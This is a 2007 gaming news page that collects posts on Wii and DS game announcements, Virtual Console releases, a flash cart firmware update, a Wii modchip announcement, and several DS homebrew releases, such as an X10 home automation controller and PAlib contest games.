It dosent yet have Nunchuk Support but that will be coming soon also no Sensor Bar either but its great for a fun new way to play the sims.
The Sims 2 Basic.PIE
Battlefield 2142
This script allows you to control Battlefield 2142 for the PC, it dosent yet use a sensor bar but ive assigned most of the controls to the wii remote please look at the code to find out what does what as I havent had time to create a list.
Battlefield 2142.PIE
Super Smash Bros. 64 Basic
This script is very basic but does the job. It is created for Project64 Emulator but should work with others.
Super Smash Bros. 64.PIE
Mario Kart 64 Basic
This script is very basic but does the job. It is created for Project64 Emulator but should work with others.
Mario Kart 64.PIE
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January 26th, 2007, 00:44 Posted By: wraggster
via wiifanboy
The Legend of Zelda: Twilight Princess was in development for approximately, oh, say, forever. That intensely long cycle, besides making a game epic and wonderful and amazing, usually gives rise to an extreme attention to detail. Some savvy forum-goers have compiled a list of little easter eggs for your enjoyment, which can be found after the jump.
How many of these did you find, or even notice? Do you feel as though these little details even make a difference in the overall gaming experience? We ourselves find that we're occasionally drawn back to the world of Hyrule for a few minutes, just to feel that epic sense of adventure ... or maybe it was just those bomb arrow fireworks.
More Info
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January 26th, 2007, 01:11 Posted By: wraggster
via dsfanboy
While Phoenix Wright may never fail to rev our collective fanboy motors, when it comes to adventure games, Hotel Dusk: Room 215 has been garnering more and more excitement -- and even the reviewers who find fault with the title can't help but gush over the story.
GameSpot -- 82%: "One of the really neat things about Hotel Dusk is how the plot plays out. It's not often that you can praise fiction in games these days, but Hotel Dusk is a clever, stylish, well-spun detective novel hiding inside a DS cart ... It helps that the solutions for puzzles aren't often troublesome. All the puzzles are designed specifically with the realities of this hotel in mind, so you won't find yourself with any obscenely weird objectives or "tie the cell phone to the cat" moments, nor are you likely to find yourself glued to a walk-through for the bulk of the game ... [t]hat Hotel Dusk mostly manages to avoid falling back on ridiculous item hunts and completely illogical puzzle solutions to progress is a godsend, simply because it lets the storytelling drive the game, and the gameplay rarely distracts you from the mystery."
eToychest -- 90%: "Stylistically, Hotel Dusk marries pencil sketched characters and water colored backdrops with traditional polygonal environments in a manner that should be jarring, but instead feels both unique and altogether perfect. The characters themselves are distinct and very expressive, each displaying mannerisms reflecting their attitude regarding a particular line of questioning. Ask Louie about his past, and he'll clam up and try not to make eye contact, or sweet talk Iris to see her beam like a schoolgirl. Most every game has characters, Hotel Dusk has personalities."
GamePro --75%: "Hotel Dusk probably won't appeal to every DS gamer, as it requires a degree of patience and thoughtfulness that only the aged (and insane) are capable of. But anyone looking for a cerebral and deliberate challenge should definitely check out this cool and unique title; just be patient with it, and don't let its minor faults discourage you from plumbing its depths."
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January 26th, 2007, 01:15 Posted By: wraggster
News/release from phoneguy
This app enables the DS to control lights and appliances from anywhere via wifi. The DS becomes the ultimate X10 home automation controller.
Virtually all the lights in my house can be controlled remotely via X10. I decided it would be nice to use the stylus to not only change the brightness of the DS Lite screen but also the house. The standard X10 controllers only work from within the house. I have used my DS to turn on my porch lights, while standing on my relatives porch, 100 miles away from my house.
The app can be tested without any X10 hardware. To actually control lights or appliances an X10 Firecracker interface, an X10 Transceiver, and X10 modules or switches for each light or appliance are required.
X10.com sells the FireCracker 4-Piece Home Control kit www.x10.com/automation/ck18a_s_ps32.html
Ebay stores have it for less with free shipping.
Included is a windows sever app which needs to run on a PC with an X10 Firecracker interface plugged into the serial port. The DS app communicates with the server app to broadcast X10 commands to the X10 modules.
Features:
-Use the DS stylus or the keypad to send commands to any of the 256 X10 addresses (16 houses codes x 16 unit codes)
-Send ON, OFF, DIM, BRIGHT, ALL LIGHTS ON/OFF, ALL UNITS ON/OFF
-Commands are echoed back to the DS for confirmation
-XML config file for the server app allows lights and unit codes to be labeled and to create macros which are uploaded to the DS.
-The port the server listens on is configurable via the command line
-The server address and port are saved in SRAM on the DS. (This will overwrite sram).
-The server app can be used from the command line to send commands directly to the Firecracker.
I've tested it with a G6 Lite and an EZ-Flash II Powerstar.
Download and Give Feedback Via Comments
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January 26th, 2007, 01:38 Posted By: wraggster
News from Christ:
2 new maps for AMAP4DS:
- AMAP4DS-France-Roads v3.1
(Entire France map with low zoom level but fine to find the France larger cities)
- AMAP4DS-Europe-Roads v3.1
(Entire Europe zone with major Europe cities)
Free download on: http://www.andreani.net/ds/
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January 26th, 2007, 01:42 Posted By: wraggster
via mcv
The global rush to buy up hard to find Wii and PS3 hardware has helped eBay achieve one of its strongest ever quarters of growth, according to its recent financials.
The Times reports that in the three months ending December 31st eBay enjoyed a like-for-like profit increase of 24 per cent compared to the same period the year before. Revenue for the period exceeded $1.7 billion – a rise of 29 per cent year-on-year. Net income rose to $346 million whilst total sales reached $14.4 billion.
The UK, along with Germany, was named as one of the biggest growth areas for the site.
eBay chief executive Meg Whitman stated: “The fourth quarter was an excellent quarter for eBay, bringing 2006 to a very good close.”
Other eBay owned businesses also posted impressive performances, with internet telephone firm Skype and online payments company PayPal seeing revenue increase by 164 per cent and 37 per cent respectively.
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January 26th, 2007, 14:55 Posted By: gunntims0103
Iv just received conformation from Nintendo via e-mail on my Wii, this is what Nintendo has to say
Response via Nintendo-
Thank you very much for supporting Nintendo.
We're happy to announce that the News Channel is now available! Even better, it's free of charge.
With the News Channel, you can check out the headlines and complete text of the most important news stories covering regional, international, sports, entertainment, technology, business, science, and health topics.
In addition, you can view slides shows of news stories and even see where on the globe stories are breaking.
We hope you'll enjoy all the features the News Channel has to offer.
This is a update. To use this feature simply update you Wii Console.
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January 26th, 2007, 16:25 Posted By: wraggster
A statement made by Hudson Entertainment's director of marketing, John Lee, in an interview with Game Informer, sparked a rumour that Nintendo could be making a new 'Games Channel' for Wii through which it will deliver new downloadable games.
When asked if Hudson plans to release any original content through the Virtual Console, Lee responded: "Well, the VC was specifically designed to bring back classic games, not to introduce new content. So to answer your question specifically: No.
"However, in the future, you should rephrase that question to: Are there any plans to launch original content on some downloadable service on the Wii, and you might get a different answer."
Curious as to what he may have meant by that, CVG contacted Nintendo and got this response: "Nintendo has developed a programming system that will allow small independent developers to make games for Wii download service.
"We cannot confirm at this time in what format the new content will be delivered, but in the future there will be original games available for download through the Wii Shop."
For those of you who don't know, Nintendo president, Satoru Iwata, spoke of such a development tool at various games events last year, allowing low-cost game production for Wii. Anyone who got hooked on Geometry Wars on 360 knows how exciting this prospect is.
It's currently unknown when the proposed original game content will be made available to download, although it is unlikely that they'll be delivered through the Virtual Console.
via cvg
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January 26th, 2007, 16:30 Posted By: wraggster
via cvg
Wing Island will join Kororinpa, Hudson's other Japanese-only Wii game, in making its way to western gamers in March.
You may remember Wing Island as a tech demo originally shown to demonstrate the tilt-sensing capabilities of the Wii Remote. It features a unique control system which has players holding the Remote almost like a paper plane, with the on-screen mimicking your movements as you tilt and twisting the Remote.
After completing your pilot training, you set one varying mission objectives that test your plane control - from dropping water onto forest fires to catching a number of rogue cows hiding around the island. It's a slower and than your average
Screenshots Via Comments
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January 26th, 2007, 16:31 Posted By: wraggster
The N64 section of the Virtual Console has been a little quiet to say the least, with Super Mario 64 being the lonesome available game, but a second N64 title has finally appeared.
The hours we lost to Mario Kart 64's multiplayer mode are uncountable. Four-player races around Koopa Troopa Beach never got old, and now UK Wii owners can relive the joy in glorious hi-res.
Turbografx game Soldier Blade also released on the Virtual Console today - a decent shooter that's worth a look... after you've thrashed Mario Kart, that is.
Mario Kart 64 costs 1000 Wii points, which works out at around £7.50, while Soldier Blade will set you back 600 points (about £4.50).
via cvg
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January 26th, 2007, 16:37 Posted By: wraggster
Nintendo's Wii "News Channel" went live earlier this morning, allowing system owners to browse an Associated Press newsfeed in a variety of ways - several of which are unmistakably "Wii".
Installing the channel is as simple as visiting the Wii system menu and submitting to an update process, which takes just a few minutes. With that done, the News Channel button appears in the main menu.
When you first load it up, it confirms the time and date and then downloads information while a little cat sits on top of an advisory notice and you're left to listen to the sort of music typically associated with sleeping at the end of a "tough day" in a Final Fantasy RPG. Or maybe that's just us.
The download takes a good little while, but once it's done you're off, able to browse news by category (national/regional/international, sports, arts/entertainment, business, science/health, technology), clicking through to get a list of headlines that span the width of the page.
When you click on a story, it unrolls itself quickly with a scrumply paper sound effect, allowing you to scroll up and down in a few obvious ways - perhaps using the B trigger to drag the page around - while a little locational marker on a NASA-labelled map beams happily from the right side of the screen.
Alternatively, you can click "Globe", at which point you're transported to a close-up of wherever you are in the world. Ours showed London and a bit of mainland Europe. Key locations like Berlin and Moscow have bits of paper on top of them with numbers in brackets, signifying how many stories are tethered to each spot. Clicking an area loads up a list of stories. To go somewhere else, you simply click back and drag the world around with the Wiimote. You can also zoom in and out.
The other thing you can do on the News Channel is view a Slideshow. Like Sky News without all the sinister manipulation, you're left watching headlines appear on the bottom half of the screen one by one, as the world map sits happily on top. Pressing A as a headline appears lets you bring up the story, from which you can then either rejoin the slideshow feed or end it. It's all very intuitive, as you'd expect.
Of course, whether you'll choose it over GMTV remains to be seen, but since "GMTV" is the only morning television show we can now remember at all, it's probably safe to say all the present ones are rubbish and this is much better. Wait, hang on, Ellie says we ought to be watching Jeremy Kyle. If only.
Anyway, Nintendo has said that the News Channel will relaunch later this year - still free, mind - offering a greater regional focus. We will of course let you know when it does. In the meantime, let us know what you make of the current version. Useful, or pointless?
via eurogamer
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January 26th, 2007, 16:54 Posted By: wraggster
As gamers in this modern era of peripherals and motion-sensitive controls, we thoroughly enjoy playing games that simulate real-life endeavors. And while we realize that playing Guitar Hero won't make us guitarists, and playing Phoenix Wright won't make us lawyers, could playing Cooking Mama: Cook Off make us chefs? Mama hopes so, and our new trailer shows just how she plans to do it.
Cracking eggs, whisking batter, and kneading dough are some of the more quotidian tasks Mama will lay before you, but expect to see some more exotic fare on your cutting board as well. Wondering what that might be? Hit the Movies tab above and select "Cooking Mama: Cook Off trailer - 26 Jan 2007" to see what's on the menu. Not Safe For Vegetarians.
Trailer at Gamesradar
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January 26th, 2007, 17:07 Posted By: wraggster
SquareEnix today confirmed that one million copies of Dragon Quest Monsters: Joker have been sold in Japan since the game's release on December 28. This feat makes Dragon Quest Monsters only the second third-party DS title to achieve more than one million sales in Japan, following on from Bandai's success last year with Tamagotchi no Puchi Puchi.
DQM had been sold out in many stores across Japan this past week, with shortages so severe that Joker plummeted from second place in the Japanese sales chart to 42nd place. Stocks were replenished yesterday, however, and the demand for Dragon Quest Monsters (which is merely a tasty appetizer to enjoy before Dragon Quest IX is served) has immediately pushed SquareEnix' game beyond the milestone of a million sales.
via joystiq
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January 26th, 2007, 17:21 Posted By: wraggster
New from SuccessHK is the Hotel Dusk Room 215 game for DS with the cheapest price ive seen on the net, a nice $32.26 or £16 in UK Money. (remember all DS consoles are region free)
Heres more info about this great game:
Hotel Dusk Room 215 is a hard-boiled crime story set in Los Angeles, 1979. Players take the role of Kyle Hyde, an ex-cop turned salesman trying to track down a missing friend. Clues lead to an eerie, old hotel rumored to have one very strange room -- a room where wishes are granted. Players check in and get ready for a night of surprises as they meet a cast of unusual characters and try to unravel the mystery of Hotel Dusk, Room 215.
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January 26th, 2007, 20:56 Posted By: wraggster
via joystiq
Like the early days of the DS, the Wii still hasn't really found its own identity just yet. Still lacking a Brain Training or a Nintendogs, minigames are de rigeur on the system at the moment. Certainly the Wiimote is well suited for minigames, and it's been hoped that it will breathe some new life into a rather tired Nintendo franchise. Yup, Mario Party 8.
Joystiq got to play an incomplete version of the "ocho" at the Osaka leg of Japan's World Hobby Fair. Six different minigames were on display:
Lasso the barrels: Swing the lasso (Wiimote) in a circle, once you've got some momentum going, throw the lasso forward, grabbing a barrels for points (don't throw Wiimote). Some barrels are worth more points than others.
Ball tilt: Balls fall from ceiling. Direct bouncing balls to their correct container by rotating the wiimote. Green on the left, and purple on the right.
Drink shaking: Simply shake the Wiimote up and down; fastest shaker wins.
Target shooting: Just as in Wii Play, shoot targets with your Wiimote. The high score zone constantly changes so you have to think fast.
Jet ski jumps: Move your jet skier to the ramps to pick up coins. The challenge comes from the difficult controls.
Crank turning: Turn a crank as fast you can. Exactly the same as the similar WarioWare minigame.
Overall, the minigames were solid and fun, if not a tad on the simple side. If the board game side of things (not shown in this early version) is a winner, this could be a fun party game, if not an inventive one. They don't have their Brain Training yet.
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January 26th, 2007, 20:59 Posted By: wraggster
via joystiq
NCL today revealed the February line-up of Virtual Console titles it has prepared for Japan. Top of the list (in all respects) is N64 masterpiece Legend of Zelda: Ocarina of Time, which at 1200 points is the most expensive VC game to date. The full list of titles confirmed for release in February looks like this:
Mighty Boxing (Tecmo, Famicom - 500 points)
Galaga (Namco, Famicom - 500 points)
Hoshi no Kirby (Nintendo/HAL, Famicom - 500 points)
Kamaitachi no Yoru (Chunsoft, Super Famicom - 800 points)
Megami Tensei (Atlus, Super Famicom - 900 points)
Daimakaimura (Capcom, Super Famicom - 800 points)
Sangokushi IV (Koei, Super Famicom - 800 points)
Legend of Zelda: Ocarina of Time (Nintendo, N64 - 1200 points)
Bare Knuckle (aka Streets of Rage; Sega, Mega Drive - 600 points)
Story of Thor (Sega, Mega Drive - 600 points)
Vectorman (Sega, Mega Drive - 600 points)
Vermilion (Sega, Mega Drive - 600 points)
Vigilante (Irem, PC Engine - 600 points)
BE BALL (Hudson, PC Engine - 600 points)
Yokai Douchuuki (aka Shadowland; Namco, PC Engine - 600 points)
Wonder Momo (Namco, PC Engine - 600 points)
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January 26th, 2007, 21:08 Posted By: wraggster
News from the DS-X Team
Hello everyone,
By popular demand, we recently feature-froze the OS development, and began preparing for release. While there are still quite a few additional features still in development which we had originally planned for 1.1.0, there had to come a point where we said "This is enough!" and put out what was done for the world to use.
Demand for this update has been high, but we think you'll find it was worth the wait. We've covered some of the most highly demanded feature requests, fixed a few of the most problematic bugs, and implemented some incredibly cool new functionality which opens even more doors towards making the DS-Xtreme the most feature rich and flexible product available on the market.
Probably the most noticeable change is our entirely new look and feel. While we were fond of our original skin, we felt that it was important to take our skinning engine a step further, and provide as much of a sleek, crisp, clean user experience as possible. The old skin isn't gone forever, however... we've kept it available for posterity's sake, and you can find it in the new skin selection options available in settings.
While you're there in settings, you may notice the new "Preset Directories" option available there. This is a feature which has been requested time and again on forums, and we felt we would be remiss in our duties if we hadn't implemented it. Enabling this option will restrict the searching for applications to the "Apps" directory only, the searching of music to the "Music" directory only, and the searching of SkinApps to the "SkinApps" directory. This will make search times substantially faster, further improving your experience with the DS-Xtreme.
Did I hear someone say "What are SkinApps?"
This brings us to my personal favorite new feature in 1.1.0, Skin-Engine Applications, or SkinApps. A SkinApp is a fully self contained application written using our skinning engine's functionality. Our hope is that this will pave the way for a whole series of DS-Xtreme powered homebrew games and applications, scripted in our expanding skinning/media engine. To help foster development in this area, and to give everyone some starting points to work from, we've included 3 sample SkinApps.... a calculator, an expansive sudoku engine (including the first DS-Xtreme on-screen-keyboard!), and a classic staple of gaming - a pong clone!
We still have quite a few things in development, and will be releasing updates at a slightly faster pace from here as we finish each item on the list. Keep those suggestions and ideas coming!
This update brings software version to 1.1.0, and hardware version to 1.0.1.
As this release includes quite a few skinning changes, it is important to add the "public partition" files from http://news.ds-x.com/ to your ds-x drive after the update!
Software Change-log:
+Multiple skin selection/support (Holding B during startup forces system backup skin to be loaded)
+Entirely new skin!
+Scroll-bar widget
-New loading and top screen
-Cosmetic change to App loading transition
-Previous (1.0.x) skin is now available as "OS10"
+ "Preset" directories searching option
+ "SkinApps" Skin engine based applications support
+Sudoku, Pwng, and Calculator examples
* Instant boot MBR handling bug fixed
* Instant boot LED handling bug fixed
* Better eeprom emulation mode detection
* Fixed an issue with graphics engine display quality (line skipping)
* Dpad release events are now properly placed into event queue
Hardware Change-log:
* Resolved QKIN timing issue
- Changed default IO state on CPU bus which should help improve reliability all-around.
+ Addition
* Bug fix
- Change
Download the latest updater HERE
Download the public partition (1.1 skin and skinapps) files HERE
Peace,
Leto
You can BUY this flashcart for the Nintendo DS from Divineo Spain, Divineo Germany, Divineo USA, Divineo China, Divineo UK
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January 26th, 2007, 21:19 Posted By: wraggster
Team Ninja are the first Modchip Makers to show off their talents, the first modchip for the Nintendo Wii is to be called Wiinja, the mod looks to be an easy one to install with only 5 wires, the expected price is to be 35 Euros (approx 25 pounds)
Heres 3 screens:
This mod at the moment wont let you play Wii games from other regions (which is a letdown, hopefully thatll change)
More news as it comes in.
DiGG THIS
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January 26th, 2007, 21:23 Posted By: Anger
Yes, yes i know, this was posted before however this was my first time seeing it in person.
I happen to be wandering through glasgow city center when what do i see, but a guy with a wii set up on a stand in the middle of the street with an lcd above it. They were encouraging the public to play it, no doubt to advertise it, so this was a very strange thing because the wii is still more or less sold out up here.
It was however very funny because the only people wanting to play it were young kids - the adults were offered and most took a step back - happy to watch the spectacle. As a result only one adult wanted to play so one of the attendants took the other controller for a game of boxing.
anyway a pic is attached for those interested.
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January 26th, 2007, 23:12 Posted By: wraggster
A new release of WiiCR has happenned today, heres the info and whats new:
WiiCR is a media player solution for the Nintendo Wii. It acts as a streaming media server and is capable of transcoding nearly any video file to a suitable flv for an embedded flash player. It allows browsing of the remote filesystem to view: videos (avi/xvid/divx/mpeg/wmv/etc), text files, jpg's and play mp3s.
January 26, 2007
0.3.1.9c release
added icons_dir to plugin vars
included linfox's updated flvprovider (no configuration needed)
video_object_ocean.tpl was blank, fixed.
to disable segmenting, enter 1.
January 25, 2007
0.3.1.9 release
Fiiinally after many dev releases here it is, Nearly ready for 0.3.2 (stable) release.
3 ways to render plugin tpls (inside main.tpl, by itself, inside its own header and footer).
addtion of <tpl_object: name> which insert tpls inside of your plugin tpl.
addtion of video objects for video templates (very similar to tpl objects just slightly diff vars)
all themes synced to basic level (can change themes, themes can use different flash video players)
icons1 mp3 player works again
all tpl's have access to the plugins vars
all tpls have access to tpl_object's
themes cannot break config.dat if they dont have all options.
flvprovider is back (to support aurions old player, atm is must be manually configured).
can turn flvtool on / off
combo list for enc_options read from wiicr/enc_opts.txt (easier to test enc options this way).
can disable segmenting (set size to 0)
Download Here --> http://wmc.sourceforge.net/wiki/index.php/WiiCR
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January 26th, 2007, 23:18 Posted By: wraggster
Alekmaul has released a new version of his Thomson MO5 emulator for the DS.
Heres the translated info:
Here an emulator Thomson MO5 on the most nostalgic DS… Only as me can include/understand it why of such an emulator
All the detail of operation is in the file lisezmoi or readme…
History:
Version 1.0 of the 18/01/2007
* Initial version.
How to use the emulator:
* Keyboard with the stylet
* Pad of direction: arrow keys of the keyboard…
* A: Touches 0
* B: Button of shooting #2
* X: Touch SHIFT
* Y: Touch BASIC
* X + arrow keys: displacement of the screen when it is in zoom mode
* R: Touch D
* L: Touch 2
* START: Touch Entrée
* SELECT: Touch Espace
Other information:
Official site: http://www.portabledev.com
Addition of the RESET via the stylet on the site of the MO5 (with with dimensions of logo MO5)
Speed… x2 o_O!
Addition of the management of the joystick (by defect mappé on the pad of the DS and button A)
Safeguard of the keys by play via small the option (file .KBD), charged then automatically during launching of the play.
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January 26th, 2007, 23:32 Posted By: wraggster
New GBA Homebrew release from Griever308:
Cell block shootout was my latest project (which i'm pretty proud of, by the way), and features simple but fun gameplay, nice backgrounds and 3d-modeled sprites.
Use a pistol, shotgun, taser or grenades to stop the escapees, but avoid hitting your fellow guards.
Download Here
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January 26th, 2007, 23:44 Posted By: wraggster
via dsfanboy
Hotel Dusk may have dominated most of this week, but one of the biggest videos we saw this week was dedicated to a non-adventure game. Yes, sometimes we do take breaks from pointing and clicking. So what tempts us away?
Racing. Definitely racing. And Diddy Kong Racing DS is definitely going to pull us away from adventure gaming, and that's why this video is in the spotlight this week.
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January 26th, 2007, 23:47 Posted By: wraggster
via infinite
Warlords DS is an eight player turn-based strategy game of conquest and empire. Different worlds provide a stage for the player to excel in combat. In the quest for final victory, gamers can assemble vast armies, conquer and loot mighty cities, undertake perilous quests, make and break alliances, and wield magical artifacts of great power. Although economics, diplomacy, and exploration weigh heavily in the outcome of each game, the primary emphasis is placed on combat.
Key Features
Random worlds for infinite game replay value
Hidden maps for extra tension and danger
20 built-in scenarios to play again and again
Up to 8 players with hot-seat and Nintendo WiFi support
28 different army types to produce for your mighty hordes
4 terrains to choose from - grasslands, desert, wastelands and frozen tundra
Formidable AI system to challenge even the most experienced gamers
Exceptional graphics and sound provide deep immersion into the game world
Integrated tutorial and military advisor provide an easy learning curve to novice gamers
Historical tracking of all statistical information ranging from military strength to diplomatic state
Based on the award winning Warlords franchise
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January 26th, 2007, 23:50 Posted By: wraggster
See the van above, well if you live in Japan you may see this in certain citys promoting Sim City DS.
Neat eh
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January 26th, 2007, 23:55 Posted By: wraggster
News/release from Arialia:
Translated Info
Here DSPhoto my first program DS which is a visual display of photographs present on your memory board without needing to modify those… presented at compo PALIB 2006.
Use system DLDI.
History:
26/1/2007: publication on Internet.
How to use it:
A Opens the photograph or the file
B Returns to the list
L The photo preceding one
R Following photograph
Version DLDI Moon for provided supercard SD
Pad and stylet: selection of the file
Remain to implement:
- Zoom
- function put on the scale into bilinear in option
- Infos Exif in French
- acceleration of loading JPEG….
- functions of cataloguing
- transfer Internet (ftp, email)
- photo final improvement (via ImageMagik scripts + lua)….
...
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January 26th, 2007, 23:58 Posted By: wraggster
A Newupdate from the CnCDS project:
I got the building placement mode done, so you can now build buildings and put them where you want. It properly detects if the building footprint is blocked by anything. I’ve not implemented the rule where a building has to be placed next to another though. I’ll do that later at some point.
I’ve also started to work on combat. I’ve wired up the ‘Y’ button on the DS to be a sort of debug attack button. It’ll damage whatever unit is under the selection counter by 10 hit points, though it doesn’t damage buildings yet. The code to destroy a unit once its run out of hit points is also in place.
Next I’m going to have fun adding the different weapons and turrets to units. I believe that C&C has some sort of weapon system that allows rockets to damage vehicles more than men, and machine guns to damage men more than vehicles etc. I’ll need to look into this.
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January 27th, 2007, 00:06 Posted By: wraggster
Alia`s entry into the PAlib Compo
release info:
A re-write of Emerald Miner/Digger/Bolderdash for the NDS. You are no longer looking for your dad.. you are trying to find his lost Golden Orange.. in the mines..
* Basic level loading
* New font
* Some sound effects
* Level conversion. Less than 100 at the moment.
* Simple collision detection and response (pickup/use/dig)
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January 27th, 2007, 00:14 Posted By: wraggster
A new release for the PAlib Coding comp by Kukuklan, heres whats new:
* Why is there a new version ?
First off, for the NINTENDOMAX / PALIB / PORTABLEDEV DS Compo, with the orange theme, I wanted to find a good idea ; and I wasn't perfectly satisfied by my Caisse DS, so I decided to create a new one by keeping what was good and adding new stuff to it...
It took me a little more than 2 months to do this new version.
The gameplay stays the same, but lots of small things have been modified/added.
Here's a quick list of changes :
New music
New transition effects
15 different backgrounds (1 is hidden )
14 themes to change the game's look (walls, floor, etc...), with 14 different characters.
Pressing SELECT while playing now shows/hides the interface
You can undo up to 192 movements, and the last moves show up on the top screen.
In the FAT version, the theme and background settings are saved...
This is not a sequel to Caisse DS, but a new version, with a completely new core, using the 500 levels from the first version.
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January 27th, 2007, 00:26 Posted By: wraggster
A new release for the Palib Comp by DVsoftware
The goal of this game is to defend Your
stronghold from soldiers that attempts to
destroy it. There are various types of
enemies through the game. At the end of
each day (approximately 80 seconds), You
can upgrade Your stronghold. For more
information, check the instructions in
game.
P.S. Look for an easter egg xD
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January 27th, 2007, 00:38 Posted By: wraggster
New release of the Comic Book DS which is a program making it possible to read your Comic Books on your Nintendo DS:
Heres whats new and info etc
Use pictods.exe to convert your comic books into .cbds files for your Nintendo DS.
Those cbds files can be read using the ComicBookDS program.
Choose one of the 3 ComicBookDS files in the "nds" subdirectory (ComicBookDS.nds, ComicBookDS.sc.nds, ComicBookDS.ds.gba) according to your flash cart and copy in your cart.
Supercard SD (lite, rumble) users : choose .sc.nds
M3 users : choose .nds file (launching with Start button)
G6 lite users : choose .sc.nds file (add in u-disk manager, nds tab)
EZ4 users : choose .ds.gba file
DS-X users : choose .nds file
Others : check on google or in some forums. you might find some help
If the program doesn't launch or reports that fat is not supported then you may have to patch it.
When cbds files are generated, a "ComicBookDS.ini" file is also generated.
Everything is placed in the "nds" subdirectory of pictods.
Copy the ini (if you changed some user settings) and the cbds files IN THE ROOT directory of your cart.
There is another limation of this Beta. you HAVE TO RENAME the .cbds files in an ordered. way : 1.cbds, 3.cbds, 3.cbds ... and so on...
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January 27th, 2007, 00:54 Posted By: wraggster
Via IGN
Over the years, so many development teams have tried to capture the same magic that Tetris had in its debut, simply by copying the formula and shifting things around to create their own design. Namco Bandai's giving the genre another shot on the Nintendo DS (Pac Attack was one of the company's first attempts), this one putting heavy emphasis on combo strings. And sometimes, the best part of an action puzzler is managing to string together some truly awesome combos.
Trioncube is a very simple, Tetris-esque concept where the task is to rotate and stack falling blocks to form three-by-three squares of tiles. Doing so will activate the combo string, which can then be continued by adding more and more three-by-three squares to the activated area. When you're all out of moves or you run out of time to keep it going, the tiles responsible for the combo string turn into coins, which convert into points...and each level has a specific quota to reach in order to move on. The tiles fall in threes, with some pretty crazy stacks that aren't always easy to arrange.
The presentation of Trioncube is clearly one that the development team had a lot of fun creating. It's clear that the Namco Bandai team that worked on Katamari Damacy had influence over the Trioncube design team, as you'll find some crazy, quirky happenings between levels that's simply too bizarre to explain properly.
Trioncube doesn't support internet play, but it does have a decent focus on multiplayer using the Nintendo DS system's Download Play -- only a single copy of the game is needed to take advantage of Trioncube's "versus" mode. And because this game's all about combos and keeping that combo string going, the battle can get quite heated with several turnabouts during the competition.
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January 27th, 2007, 01:15 Posted By: wraggster
Via desctructoid
I hate to admit this, but 1up's Jeremy Parish is way cooler than I am. It's really depressing to think about. Well, okay, maybe he just took the time to register far more Wii friend codes than I ever would. So maybe that makes me cooler; I don't know. It's all so very confusing.
In either case, this video of 1007 Miis marching in a Mii Parade is demonstration of one extremely impressive feat. I've yet to see more than 15 Miis gather on my Wii; they're lonely and scared. Jeremy -- won't you lend me some of your Miis?
Video via link above
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January 27th, 2007, 13:30 Posted By: wraggster
Via cvg
No-doubt trying to tap into the success of Nintendo's Brain Training, Midway Games have unveiled Hot Brain, a compilation of puzzles and brain-teasers for PSP.
Also shown at the Las Vegas gamers day event is Touchmaster, a Nintendo DS compilation of 23 of Midway's bar and arcade titles, including Sudoku, Solitaire and Mah Jongg.
"With both Touchmaster DS for Nintendo DS and Hot Brain for PSP, we're able to tap into our experience with the casual market to create games that work perfectly with the unique controls and features of each portable system," said Steve Allison, Midway's chief marketing officer, at the Vegas event. "Both titles will be able to provide quick three-minute gameplay experiences or extended play-session with puzzles, card games, brain teasers, trivia and more."
Both Hot Brain and Touchmaster are due out this summer.
Screens Via Comments
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January 27th, 2007, 13:39 Posted By: wraggster
via gamespot
For years, Nintendo consoles have had a reputation for being the most family-friendly. The Mario factory attempted to change this image on the GameCube by nuturing a few extremely violent games, such as Eternal Darkness, Killer7, and Resident Evil 4, GameSpot's 2005 Game of the Year. When the Wii was released last year, Ubisoft's Red Steel was the token grown-up game, and sold well despite poor reviews. According to NPD, the game moved over 219,000 copies as of December 2006.
Insert "little friend" and/or "Wii" joke here.
Despite rumors of a Wii Grand Theft Auto, the highest-profile adult actioner on the platform's horizon was The Godfather: The Blackhand Edition. Now, though, it appears the adaptation of the 1972 epic will be joined by the game version of another crime-cinema classic. The cover of this month's British Nintendo magazine N-Gamer clearly shows that Vivendi Games is bringing Scarface: The World is Yours to the Wii. The game was released last year for the Xbox and PlayStation 2. An Xbox 360 version was also planned but was canceled just as a PSP spin-off was announced.
According to the magazine, the Wii Scarface will have a control scheme similar to Red Steel. Players will point the Wii remote at the screen like a gun to control an aiming reticule to target opponents. The magazine also promises to use the so-called "Wiimote" for melee combat with the film's infamous chainsaw. According to N-Gamer, players will be able to sever legs and heads, and will hear the sound of the chainsaw emit from the Wiimote's built-in speaker.
No release date--UK, US, or otherwise--was available as of press time. When contacted by GameSpot, all a Vivendi rep would say is that more news was "coming soon."
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January 27th, 2007, 13:43 Posted By: wraggster
via gamesradar
Mortal Kombat: Armageddon is coming to Wii, complete with the series' trademark grotesque battling action, and these shots show you just how the gruesome fighter will offer motion-sensitive violence for Wii-mote clutching gamers. Hit the images tab for more, including a full sequence.
All of the game's special moves and fatalities are controlled by gestures, as you can see in the shots, but Midway has kindly included the option to play with either the GameCube pad or Classic Controller too. Finally, alongside a Kreate-a-Fighter (they missed a trick with 'Kharacter' there, surely) mode, there's also a Wii-exclusive Endurance mode to battle through.
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January 27th, 2007, 13:46 Posted By: wraggster
via gizmodo
Come on Nintendo, this is the kind of stuff we need to see coming down the pipeline. Screw that classical music conductor shit. I want to start my own arm flaring Wii-rave. Does it still need some work? Sure, but the potential is all there.
video here
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January 27th, 2007, 14:53 Posted By: wraggster
New from Success HK
Rumiko Takahashi's popular animated TV and comic series Inuyasha comes to life in this brand new adventure for the Nintendo DS. Players will experience the intriguing origins and exciting stories of all-new characters as they join beloved well-known Inuyasha characters in the struggle to unlock the mystery of the Divine Jewel. Utilizing and uniting familiar faces like Inuyasha, Kagome, Miroku, Sango and Shippo, players will battle hordes of monstrous demons in this epic RPG. With an intuitive command-based control scheme and the new Cover Fellow System (CFS), players will get Inuyasha and his friends to work together in ways never before seen. The chance to learn the secret of the Divine Jewel arrives in 2007 with Inuyasha: Secret of the Divine Jewel.
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January 27th, 2007, 14:55 Posted By: wraggster
New from Success HK
Hannah Montana is the stage name of Miley Stewart, a teen pop sensation known to millions. Her best friend Lilly is the only one who knows the truth -- or so she thinks. Someone is threatening to reveal Hannah's secret! Miley and Lilly investigate their school, the boardwalk, stadium and the beach to uncover clues. Help solve the mystery and keep Hannah Montana's secret safe, so the show can go on! Access Hannah's secret wardrobe and design personalized clothes to share with others via the wireless mode on the DS
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January 27th, 2007, 16:27 Posted By: wraggster
New from Lick
i was interested in the backlight fade-in that the original firmware does. According to gbatek (Backlight Dimming / Backlight caused Shut-Down(s)) the backlight has to be turned on/off at different rates so it simulates a smooth fade-in.
This is the result. It works, but I don’t recommend that anyone reuses the code in their projects. It’s bad code.
Download Here
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January 27th, 2007, 16:30 Posted By: wraggster
Nick Spacek posted this on his blog:
